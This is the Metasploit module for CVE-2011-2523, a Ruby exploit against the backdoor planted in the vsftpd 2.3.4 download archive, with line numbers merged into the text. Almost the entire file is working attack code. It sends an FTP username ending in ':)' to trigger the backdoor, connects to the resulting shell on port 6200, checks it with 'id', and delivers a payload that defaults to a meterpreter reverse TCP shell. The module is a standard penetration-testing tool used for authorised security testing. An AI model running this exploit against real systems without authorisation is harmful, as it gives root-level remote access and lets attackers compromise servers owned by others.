Path: blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
57913 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Auxiliary::Report9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'VSFTPD 2.3.4 Backdoor Command Execution',16'Description' => %q{17This module exploits a malicious backdoor that was added to the VSFTPD download18archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between19June 30th 2011 and July 1st 2011 according to the most recent information20available. This backdoor was removed on July 3rd 2011.21},22'Author' => [23'hdm',24'MC',25'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features26],27'License' => MSF_LICENSE,28'References' => [29[ 'CVE', '2011-2523' ],30[ 'OSVDB', '73573'],31[ 'URL', 'http://pastebin.com/AetT9sS5'],32[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],33],34'Privileged' => true,35'Platform' => [ 'unix', 'linux' ],36'Arch' => ARCH_CMD,37'Payload' => {38'Space' => 2000,39'BadChars' => '',40'DisableNops' => true41},42'Targets' => [43[44'Linux/Unix Command',45{46'Type' => :unix_cmd,47'DefaultOptions' => {48# This exploit also supports direct interaction with the backdoor using cmd/unix/interact payload49'PAYLOAD' => 'cmd/linux/http/x86/meterpreter_reverse_tcp'50}51}52]53],54'DisclosureDate' => '2011-07-03',55'DefaultTarget' => 0,56'Notes' => {57'Reliability' => UNKNOWN_RELIABILITY,58'Stability' => UNKNOWN_STABILITY,59'SideEffects' => UNKNOWN_SIDE_EFFECTS60}61)62)6364register_options([ Opt::RPORT(21) ])65end6667def get_banner68banner = sock.get_once(-1, 30).to_s6970vprint_status("FTP banner: #{banner.strip}")71version = banner[/\((.*?)\)/, 1]72report_service(73host: rhost,74port: rport,75proto: 'tcp',76name: 'ftp',77info: "#{version}"78)7980banner81end8283def check84# Check for backdoor first, else exploit will fail85vprint_status("Checking if backdoor has already been triggered (else exploit will fail)")86nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil87if nsock88print_error("The port used by the backdoor bind listener is already open/in-use (6200/TCP)")89return Exploit::CheckCode::Unknown90end9192vprint_status("Connecting to FTP service")93connect9495vprint_status("Checking FTP banner")96banner = get_banner9798if banner.downcase.include?("vsftpd 2.3.4")99print_status("FTP banner hints its vulnerable: #{banner.strip}")100else101vprint_status("FTP banner: #{banner.strip}")102end103104ftp_user = rand_text_alphanumeric(rand(6) + 1)105vprint_status("Trying to log into FTP (User: #{ftp_user})")106sock.put("USER #{ftp_user}\r\n")107resp = sock.get_once(-1, 30).to_s108if resp =~ /^530 /109print_error("This server is configured for anonymous only and the backdoor code cannot be reached")110return Exploit::CheckCode::Safe111end112113if resp !~ /^331 /114print_error("This server did not respond as expected: #{resp.strip}")115return Exploit::CheckCode::Unknown116end117118return Exploit::CheckCode::Appears if banner.downcase.include?("vsftpd 2.3.4") and resp =~ /^331 /119return Exploit::CheckCode::Unknown120end121122def exploit123# Check for backdoor first, else exploit will fail124framework.sessions.each do |sid, sess|125next unless sess.via_exploit126if sess.via_exploit == fullname127vprint_error("Session #{sid} is already connected to the backdoor")128end129end130131nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil132if nsock133# Chance are, we will fail, but doesn't hurt to try134print_warning("The port used by the backdoor bind listener is already open. Trying...")135begin136handle_backdoor(nsock)137rescue138vprint_error("Someone has beat us to it, the backdoor is already in-use!")139raise Msf::Exploit::Failed, "Backdoor already in-use"140end141end142143# Now connect to the FTP service144vprint_status("Connecting to FTP service")145connect146147# Without this, 220 response, rather than 331148vprint_status("Checking FTP banner")149banner = get_banner150151ftp_user = "#{rand_text_alphanumeric(rand(6) + 1)}:)"152vprint_status("Trying to log into FTP via backdoor. User: #{ftp_user}")153sock.put("USER #{ftp_user}\r\n")154resp = sock.get_once(-1, 30).to_s155vprint_status(resp.strip)156157if resp =~ /^530 /158print_error("This server is configured for anonymous only and the backdoor code cannot be reached")159disconnect160return161end162163if resp !~ /^331 /164print_error("This server did not respond as expected: #{resp.strip}")165disconnect166return167end168169ftp_pass = "#{rand_text_alphanumeric(rand(6) + 1)}"170vprint_status("Trying to log into FTP via backdoor. Password: #{ftp_pass}")171sock.put("PASS #{ftp_pass}\r\n")172173# Do not bother reading the response from password, just try the backdoor174vprint_status("Connecting to backdoor on 6200/TCP")175nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil176if nsock177print_good("Backdoor has been spawned!")178handle_backdoor(nsock)179return180else181print_warning("Unable to connect to backdoor on 6200/TCP. Cooldown?")182end183184# Finished with FTP185disconnect186end187188def handle_backdoor(s)189vprint_status("Trying 'id' command")190s.put("id\n")191192# Wait 5 seconds and get everything193r = s.get_once(-1, 5).to_s194if r !~ /uid=/195print_error("The service on port 6200/TCP does not appear to be a fresh shell. Already exploited?")196# Finished with the backdoor197disconnect(s)198raise Msf::Exploit::Failed, 'Could not connect to backdoor'199end200201vprint_good("UID: #{r.strip}")202203unless payload.encoded.empty?204c = ""205c << payload.encoded206c << "\n"207vprint_status("Running: #{c.strip}")208s.put(c)209end210211handler(s)212end213end214215216